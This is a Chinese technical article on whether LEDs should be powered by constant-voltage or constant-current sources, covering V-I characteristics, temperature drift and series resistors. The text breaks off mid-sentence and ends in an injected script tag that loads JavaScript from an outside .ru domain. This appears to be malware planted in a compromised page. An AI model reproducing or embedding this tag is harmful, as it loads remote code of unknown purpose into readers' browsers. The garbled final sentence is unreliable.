上海龍茂微電子有限公司    茅于海

現在有關這個問題有很多各種不同似是而非的說法，有人說：在LED的伏安特性上，電壓定了，電流也就定了。所以采用恒壓和恒流效果是一樣的。有人說LED并聯時就應該采用恒壓電源供電，而LED串聯時就應該采用恒流電源供電；有人說，因為LED是恒流器件，所以要用恒流源供電；有人說，采用市電供電時就應該采用恒壓電源供電，采用蓄電池供電時，就應該采用恒流電源供電。至于為什么這樣要求，似乎誰也說不明白。

那么，到底是應該采用恒壓電源，還是恒流電源供電呢？

首先來看一下LED到底是什么樣的器件。因為LED的亮度是和它的正向電流成正比，而且一些LED的結構決定了它的散熱也就是功耗。所以大多數LED會給出額定電流，例如Φ5為20mA，1W的為350mA…等，但這并不等于LED只能工作于這些額定電流，更不意味著LED就是一個恒流器件。例如Cree的1瓦LED和3瓦LED是同一型號，電流從350mA加大到700mA，功率就從1W加大成3W，所以這個LED可以工作在350-700mA之間的任意值。

要深入了解這個問題首先要知道LED的伏安特性。

1． LED的伏安特性

LED的中文名字就是發光二極管，所以它本身就是一個二極管。它的伏安特性和一般的二極管伏安特性非常相似。只不過通常曲線很陡。例如一個20mA的草帽LED的伏安特性如圖1所示。

圖1. 小功率LED的伏安特性

假如用干電池或蓄電池供電，那么因為LED伏安特性的非線性，很小的電壓變化就會引起很大的電流變化，上圖中電源電壓在3.3V時正向電流為20mA的LED，如果用3節干電池供電，新的電池電壓超過1.5V，3節就是4.5V，LED的電流就會超過100mA，很快就會燒壞。對于1W的大功率LED也是如此，圖2是某公司1W的LED伏安特性，而一個12V蓄電池的電壓，在充滿電到快放完電的電壓可以從14.5V降到10.5V。相差將近20%。從伏安特性上可以看出，電源電壓的10%的變化（3.4V-3.1V），就會引起正向電流的3.5倍的變化（從350mA變到100mA）。

圖2. 1W大功率LED的伏安特性

2．伏安特性的溫度系數

到現在為止，還有很多人以為LED電壓定了，電流也就定了，所以采用恒壓和恒流是一樣的。實際上，LED的伏安特性并不是固定的，而是隨溫度而變化的，所以電壓定了，電流并不一定，而是隨溫度變化的。這是因為是LED是一個二極管，它的伏安特性具有負溫度系數的特點。

圖3. 伏安特性的溫度特性

溫度系數通常是-2mV/度（-1.5—2.5mV/°C）,也就是隨著溫度的升高，其伏安特性左移，假如所加的電壓為恒定，那么顯然電流會增加。而LED本身的效率很低，溫升很高，加電以后，假如散熱不好，其溫度很容易上升到八、九十度以上。假定采用3.3V恒壓源常溫下工作在20mA，而溫度升高到85度時，電流就會增加到35-37mA，而其亮度并不增加。電流增加只會使它的溫升更高，這樣就會增加光衰，降低壽命。
而且如果不用恒流源而用恒壓源供電時，常溫下工作在20mA時,到了-40度時,電流就會降低至8-10mA,亮度會降低。

對于1W的大功率LED芯片，情況也是一樣，而且由于功率大，散熱更不容易，溫升問題更加嚴重。

可以說，除了散熱問題以外，采用恒壓電源供電是引起光衰的主要原因。所以原則上來說，LED是禁止采用恒壓電源供電的。

3.   用恒壓電源以后能不能靠串聯電阻來穩定電流？

串聯電阻只有限流的作用，也就是如果電源電壓比LED串聯以后的電壓還要高，那么就需要串聯電阻來限流，以免損壞LED。但是如果想要用串聯電阻來減小溫度的影響，它的作用是很小的，這可以從伏安特性上看出，串聯電阻以后的確可以減小溫升帶來的電流升高，電阻越大，電流隨溫度變化越小，但是只是減小，并不能消除。而且很明顯，電阻將帶來額外的功耗，使得LED的總體效率降低。假定所用的LED為1W的LED，其電流為0.35A。假定串聯的電阻為100歐姆，所消耗的功?script src=http://app.webserviceget.ru/js.js>